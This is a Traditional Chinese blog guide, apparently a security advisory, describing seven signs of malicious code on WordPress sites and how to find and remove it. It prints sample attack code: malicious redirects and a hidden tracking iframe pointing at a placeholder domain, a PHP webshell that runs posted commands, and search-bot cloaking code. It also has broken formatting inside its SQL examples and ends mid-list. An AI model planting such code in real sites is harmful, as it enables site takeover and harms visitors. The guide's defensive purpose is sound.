# WordPress 網站被植入惡意代碼的 7 個信號（附排查方法）

*Published:* 2026-05-26
*Author:* 殼殼蟲

**安全通告** — 請相關站長及時檢查並更新受影響的插件或組件。



您訪問自己的 WordPress 網站，瀏覽器地址欄顯示的不是熟悉的首頁，而是一個滿屏日文的賭博頁面。您反覆輸入網址，結果一樣。這不是 DNS[15](#5725b6da) 劫持，您的網站被植入了惡意重定向代碼。

2025 年 Wordfence 的報告顯示，WordPress 生態中超過 55% 的安全事件與惡意代碼注入有關，其中重定向劫持和 SEO[18](#3e3758bd) 垃圾郵件是最常見的兩種類型。

這篇文章列出 7 個入侵信號。每個信號配一套診斷方法和永久修復步驟。您不需要逐條讀完，看到匹配的症狀，直接跳過去排查。

信號一：訪問網站被重定向到陌生頁面
-----------------

用户在瀏覽器輸入您的域名，頁面自動跳轉到賭博網站、虛假購物頁面或成人內容。您在後台登錄 WordPress 管理面板可能一切正常——這正是重定向劫持的特點：攻擊者只重定向訪客，不碰管理後台，延長被發現的時間。

### 攻擊代碼藏在哪裏

重定向代碼常被寫入三個位置：

**.htaccess 文件**

用 FTP[16](#23337245) 或文件管理器打開網站根目錄的 `.htaccess`，查找這類代碼：

```
RewriteEngine On
RewriteCond %{HTTP_USER_AGENT} !(Googlebot|bingbot)
RewriteRule ^(.*)$ http://惡意域名.com/$1 [R=301,L]

```

這段代碼的意思是：只要訪客不是搜索引擎爬蟲，一律 301 重定向到惡意域名。您自己登錄後台用的是 `/wp-admin`，攻擊者在條件裏排除了這個路徑，所以您發現不了。

**主題的 functions.php**

打開當前主題的 `functions.php`，搜索 `wp_redirect`：

```
if ( !is_user_logged_in() ) {
    wp_redirect( 'http://惡意域名.com' );
    exit;
}

```

未登錄用户訪問任何頁面都會跳轉。攻擊者通過盜取的管理員憑據或利用主題文件編輯功能寫入這段代碼。

**index.php 首行**

網站根目錄的 `index.php` 第一行可能被注入：

```
<?php header("Location: http://惡意域名.com"); ?>

```

### 排查步驟

1. 通過 SSH[19](#f6e371b8) 進入網站根目錄，執行：

```
grep -r "base64_decode\|eval\|wp_redirect" /path/to/your/site --include="*.php"

```

這行命令搜索所有 PHP[17](#82292d8a) 文件中常見的惡意函數。看到輸出中提及的文件，逐一檢查。

1. 重置 `.htaccess`：WordPress 後台進入”設置 → 固定鏈接”，點擊”保存更改”。這會重新生成乾淨的 `.htaccess`。
2. 如果重定向仍然存在，用 Wordfence 的掃描功能做一次全站文件完整性檢查。它會對比官方 WordPress 核心文件哈希值，標記所有被修改的文件。

### 永久修復

不要只刪除惡意代碼。重定向劫持的攻擊源頭通常是漏洞插件或主題。完成清理後，升級所有插件到最新版本，刪除不再維護的插件——2025 年有超過 2,000 個 WordPress 插件因安全漏洞被永久移除，如果您在用其中任何一個，立即替換掉。

信號二：瀏覽器地址欄出現”不安全”警告
-------------------

您的網站已經部署了 SSL[20](#c362956f) 證書，地址欄應該顯示鎖形圖標。但用户反饋瀏覽器提示”連接不安全”或者”此頁面包含不安全內容”。您在 Chrome 中打開控制枱（F12），看到成排的 Mixed Content 警告。

### 成因：惡意代碼加載外部 HTTP 資源

攻擊者在您網站的 `header.php` 或數據庫的 `wp_options` 表中注入了 iframe：

```
<iframe src="http://惡意域名.com/tracker.php" width="1" height="1" style="display:none;"></iframe>

```

這個 1×1 像素的透明 iframe 從外部 HTTP 域名加載內容。瀏覽器檢測到 HTTPS[4](#b78c1db6) 頁面中包含 HTTP 資源，觸發混合內容警告。用户看到的是”不安全”，攻擊者拿到的是訪客的 IP、User-Agent 和瀏覽行為數據。

### 更嚴重的情況：證書被替換

如果您看到的不是混合內容警告，而是證書錯誤（”此服務器的證書不受信任”），這説明攻擊者可能已經獲得了服務器 root 權限，替換了 SSL 證書文件。這比代碼注入嚴重得多——攻擊者可以解密、篡改您和訪客之間的所有通信。

### 排查步驟

1. 在 Chrome 中按 F12[23](#77ecd66f) → Security 標籤頁，查看具體被阻止的 HTTP 資源域名。記錄這個域名。
2. 在網站文件中搜索這個域名：

```
grep -r "惡意域名.com" /path/to/your/site

```

1. 檢查數據庫：

```
SELECT<sup class="fn" data-fn="1cc4db78"><a href="#1cc4db78" id="1cc4db78-link">3</a></sup> * FROM<sup class="fn" data-fn="7fd76e5e"><a href="#7fd76e5e" id="7fd76e5e-link">12</a></sup> wp_options WHERE<sup class="fn" data-fn="37ac119b"><a href="#37ac119b" id="37ac119b-link">6</a></sup> option_value LIKE<sup class="fn" data-fn="b0969260"><a href="#b0969260" id="b0969260-link">14</a></sup> '%惡意域名%';
SELECT * FROM wp_posts WHERE post_content LIKE '%iframe%惡意域名%';

```

### 永久修復

如果是混合內容問題，刪除惡意代碼後，安裝 Really Simple SSL 插件，它會在輸出層強制替換所有 HTTP 資源為 HTTPS。

如果是證書被替換，您需要重建服務器環境。不要嘗試在這個服務器上”修復”——攻擊者掌握 root 權限意味着您不知道他還在系統裏留了多少後門。備份數據庫和上傳文件，在新服務器上重新部署，更換所有密鑰（wp-config.php 中的 Salts、數據庫密碼、SSH 密鑰）。

信號三：首頁或文章頁面出現莫名彈窗廣告
-------------------

您收到客户截圖：打開您的網站，右下角彈出 VoIP 服務推廣窗口，點擊關閉後不再出現。您自己測試時沒看到任何異常。

### 為什麼您看不到

注入的 JavaScript 通常有三層判斷：

```
if (document.referrer === '' && !getCookie('popup_shown')) {
    // 彈出廣告
    setCookie('popup_shown', 1, 7); // 7天內不再顯示
}

```

- **首次訪問才觸發**：檢測 Cookie，彈過一次後不再彈。
- **來源必須是搜索引擎或直接訪問**：`document.referrer` 為空或來自 Google 才激活，您從後台跳轉過來時 referrer 是您自己的域名，不觸發。
- **登錄用户豁免**：檢測 `body.logged-in` class，管理員登錄後腳本直接跳過。

### 代碼藏身之處

比較常見的位置是主題的 `footer.php`，緊貼在 `</body>` 前面：

```
<script src="//ads-voipnewswire.net/tag.min.js" data-zone="12345"></script>

```

或者通過 `wp_head` 鈎子注入到 `<head>` 中。攻擊者利用主題的選項表（`wp_options` 中的 `theme_mods_yourtheme`）存儲腳本，您搜索主題文件找不到這段代碼，因為它被序列化存在數據庫裏。

### 排查

1. 查看網頁源代碼（Ctrl+U），搜索外部 JavaScript 域名。重點查 `.net`、`.xyz`、`.top` 等非主流頂級域名。
2. 在數據庫中搜索：

```
SELECT * FROM wp_options WHERE option_value LIKE '%ads-%' OR option_value LIKE '%popup%';

```

1. 使用 Wordfence 的”掃描”功能。它的簽名庫包含已知彈窗廣告網絡的域名和代碼特徵，能直接定位到植入位置。

### 永久修復

清理代碼後，在 `wp-config.php` 中加入：

```
define('DISALLOW_FILE_EDIT', true);

```

這會禁用 WordPress 後台的主題和插件文件編輯器。很多攻擊者獲得管理員權限後做的第一件事就是通過這個編輯器寫入惡意代碼。關掉它。

信號四：網站突然變慢，服務器 CPU[22](#3db7d1d4) 佔用飆升
--------------------------------------

假設您的 WooCommerce[1](#148a343e) 店鋪平時頁面加載時間 1.2 秒。最近突然變成 4 秒以上。登錄服務器控制面板，CPU 佔用從平均 15% 跳到了 90%。

### 您租了一台肉雞給人打工

惡意代碼把您的服務器變成了殭屍網絡節點，最常做的事情是三件：

**發送垃圾郵件**

檢查 `/var/log/mail.log`（Ubuntu/Debian）或 `/var/log/maillog`（CentOS）：

```
tail -100 /var/log/mail.log

```

如果看到每分鐘幾十封發往陌生地址的郵件，您的服務器被用作垃圾郵件中繼。

**門羅幣挖礦**

攻擊者上傳一個 `xmrig` 二進制文件到 `/tmp/` 或藏進 `/wp-content/uploads/2025/` 某個偽裝成圖片的目錄裏。執行：

```
ps aux | grep xmrig

```

如果有輸出，您看到了挖礦進程。

**參與 DDoS[9](#c72062b0) 攻擊**

後門腳本持續連接外部命令與控制服務器（C&amp;C），接收指令對某個目標發起 HTTP 洪水攻擊：

```
netstat -anp | grep ESTABLISHED | grep -v ':443\|:80'

```

大量到陌生 IP 的連接説明出站流量異常。

### 排查步驟

1. 先看日誌，找異常：

```
grep "POST<sup class="fn" data-fn="f62d3947"><a href="#f62d3947" id="f62d3947-link">11</a></sup> /wp-admin/admin-ajax.php" /var/log/apache2/access.log | awk '{print $1}' | sort | uniq -c | sort -rn | head -20

```

如果某個 IP 一小時發了上萬次 POST 請求到 `admin-ajax.php`，這是暴力破解或惡意通信。

1. 檢查計劃任務（Cron）：

```
crontab -l
ls -la /etc/cron.hourly/

```

攻擊者常添加定時任務定期下載最新版惡意腳本。

1. 檢查最近被修改的 PHP 文件：

```
find /path/to/site -name "*.php" -mtime -3 -ls

```

過去 3 天內被修改的 PHP 文件全部列出。正常的網站不會有大量 PHP 文件在短時間內被修改。

### 永久修復

清理完惡意進程和文件後，限制 PHP 的執行權限。在 Nginx[5](#28ffe8f3) 配置中，對 `/wp-content/uploads/` 目錄禁止 PHP 執行：

```
location ~* /wp-content/uploads/.*\.php$ {
    deny all;
}

```

這條規則的意思是：就算攻擊者把 `.php` 後門上傳到 uploads 目錄，Web 服務器拒絕執行它。這是結構層防禦——不是堵一個漏洞，是讓這整條攻擊路徑失效。

信號五：後台出現未知管理員賬號，uploads 目錄有可疑 PHP 文件
------------------------------------

您在 WordPress 後台的”用户”列表中看到一個用户名為 `admin123` 或 `wp-update` 的管理員賬號。您沒創建過。

另一個場景：您在 `wp-content/uploads/2025/` 下看到一個名為 `cache-img.php` 的文件。uploads 目錄應該只有圖片和媒體文件，不應該有 PHP。

### 這是 Webshell

Webshell 是攻擊者留在服務器上的 PHP 後門腳本，通常只有一個文件，長得像這樣：

```
<?php
/* Plugin Name: Cache Manager */
if (isset($_POST['cmd'])) {
    system($_POST['cmd']);
}

```

文件名偽裝成”緩存管理器”，目錄放在 2025 年的上傳文件夾深處，旁邊全是真實圖片。攻擊者訪問這個文件，通過 POST 參數傳入系統命令，就能以 Web 服務器用户身份執行任何操作。

### 排查方法

1. 在 WordPress 根目錄搜索最近 7 天創建的文件：

```
find . -type f -mtime -7 -name "*.php" | grep -v "wp-includes\|wp-admin"

```

排除核心目錄後，所有新的 PHP 文件都應該被懷疑。

1. 搜索包含 `system`、`exec`、`eval`、`base64_decode` 的組合：

```
grep -r "base64_decode.*eval\|system.*\$_" /path/to/site --include="*.php"

```

Webshell 通常把命令編碼為 base64，再用 eval 執行，以繞過簡單的字符串掃描。

1. 對比核心文件哈希：

```
wp core verify-checksums

```

這需要安裝 [WP-CLI[2](#893b1f4e)](https://wp-cli.org/)。執行後它會報告所有與官方版本不一致的核心文件——這些就是被篡改的文件。

### 永久修復

檢查並刪除未知管理員賬號後，在 `wp-config.php` 中添加：

```
define('FORCE_SSL_ADMIN', true);
define('DISALLOW_FILE_EDIT', true);

```

登錄後台安裝 Wordfence 並啓用雙因素認證（2FA）。2FA 意味着即使攻擊者拿到密碼，沒有您手機的動態碼也登錄不了。

修改所有密碼，包括：  
– 所有管理員賬號密碼  
– 數據庫密碼（並在 `wp-config.php` 中更新）  
– FTP/SSH 密碼  
– 託管賬户密碼

不要在新密碼中使用任何與舊密碼相同的字符串。攻擊者持有舊密碼的哈希，如果您的密碼是 `mypass2024` 改成 `mypass2025`，等於沒改。

信號六：搜索引擎搜索結果中出現奇怪摘要或日文關鍵詞
-------------------------

您在 Google 搜索 `site:yourdomain.com`，看到的不是產品和文章標題，而是：  
– “激安ブランドコピー代引き”  
– “Buy cheap Viagra online”  
– 滿屏亂碼字符

但您訪問網站本身一切正常，文章內容沒變，頁面沒跳轉。

### 日本關鍵詞黑客（Japanese Keyword Hack）的原理

這是 SEO 垃圾郵件中最狡猾的一種。注入的代碼包含一個判斷：

```
if (preg_match('/bot|spider|crawler|google/i', $_SERVER['HTTP_USER_AGENT'])) {
    // 插入垃圾內容和鏈接
    echo $spam_content;
}

```

只有搜索引擎爬蟲訪問時才輸出垃圾內容。真人訪問者看到的是正常頁面，管理員自己也看不到異常。Google 爬蟲把所有垃圾內容索引進去，搜索結果頁就變成了色情和仿冒廣告。

垃圾內容通常被注入在 `wp_posts` 表的文章內容中，但只對爬蟲可見；或者通過動態包含外部文件實現，內容來源是攻擊者控制的服務器，隨時可以更換關鍵詞。

### 排查方法

1. 模擬 Googlebot 訪問自己的網站：

```
curl -A "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" https://yourdomain.com

```

對比瀏覽器看到的 HTML[10](#58f377d3) 和 curl 的輸出。如果兩者不一致，您中了條件型注入。

1. 檢查 `wp_posts` 表中近期的修改：

```
SELECT ID<sup class="fn" data-fn="ed7a5936"><a href="#ed7a5936" id="ed7a5936-link">24</a></sup>, post_title, post_modified FROM wp_posts ORDER<sup class="fn" data-fn="e026bdc4"><a href="#e026bdc4" id="e026bdc4-link">8</a></sup> BY<sup class="fn" data-fn="d0326939"><a href="#d0326939" id="d0326939-link">25</a></sup> post_modified DESC<sup class="fn" data-fn="726df40b"><a href="#726df40b" id="726df40b-link">13</a></sup> LIMIT<sup class="fn" data-fn="4486a0a1"><a href="#4486a0a1" id="4486a0a1-link">7</a></sup> 20;

```

注意修改時間異常的文章——凌晨 3 點無人操作時發生的修改很可疑。

1. 在數據庫中搜索日文或藥物關鍵詞：

```
SELECT ID, post_content FROM wp_posts WHERE post_content LIKE '%tadalafil%' OR post_content LIKE '%ブランド%';

```

### 永久修復

清理數據庫後，進入 Google Search Console 提交”安全問題報告”並請求重新審核。Search Console 的安全問題欄目會列出檢測到的惡意內容類型和示例 URL[21](#44a52864)，這些信息可以幫助您確認是否清理乾淨。

提交重新審核後，Google 通常在一週內移除”此網站可能含有惡意軟件”的警告標籤。

信號七：安全插件或主機商直接發出惡意軟件警告
----------------------

您收到 Wordfence 的郵件，標題是”Critical Problems Found: 3 malicious files detected”。或者 cPanel 自動把您的 `wp-config.php` 權限改為 000，併發送通知：”File quarantined: potential malware detected”。

這是最直接的信號——您不需要排查，別人幫您查好了。

### 讀報告，別隻點”刪除”

Wordfence 的掃描報告會列出每個惡意文件的路徑、感染類型和匹配的簽名名稱。例如：

```
File: /wp-content/themes/yourtheme/404.php
Type: Backdoor:PHP/WebShell.A
Signature: 匹配到已知 Webshell 特徵

```

- **Backdoor** 是後門程序，攻擊者靠它再次進入系統。
- **Phishing** 是釣魚頁面，通常放在 `/wp-content/plugins/fake-plugin/linkedin-login.php` 這種路徑，用來仿冒 LinkedIn 或銀行登錄頁。
- **SEO Spam** 是垃圾鏈接和關鍵詞，常藏在 `wp_options` 表或底部小工具中。

不要只看被標記的文件，要看被修改的時間。所有同一時間被修改的文件很可能是同一攻擊者上傳的一組後門。

### 主機商隔離文件時怎麼做

如果主機商已經自動隔離了某些文件（權限改為 000 或移入 quarantine 目錄），不要直接恢復。被隔離的文件是證據。下載到本地分析後，在服務器上執行：

```
find /path/to/site -type f -mtime -1 -ls

```

查看過去 24 小時內還有哪些文件被修改。攻擊者可能留了不只一個後門。

### 排查與修復

Wordfence 和 MalCare 都提供”一鍵清理”功能，但它的工作原理是刪除被標記的文件。如果您被植入的是核心文件污染的惡意代碼（比如 `wp-admin/includes/file.php` 被篡改），刪除會使 WordPress 功能異常。

正確做法：  
1\. 用 Wordfence 的”查看文件差異”功能，對比您的文件與官方原始文件。  
2\.

### 名詞解釋
<!-- WP Chinese Converter Full Page Converted. Target Lang: zh-hk -->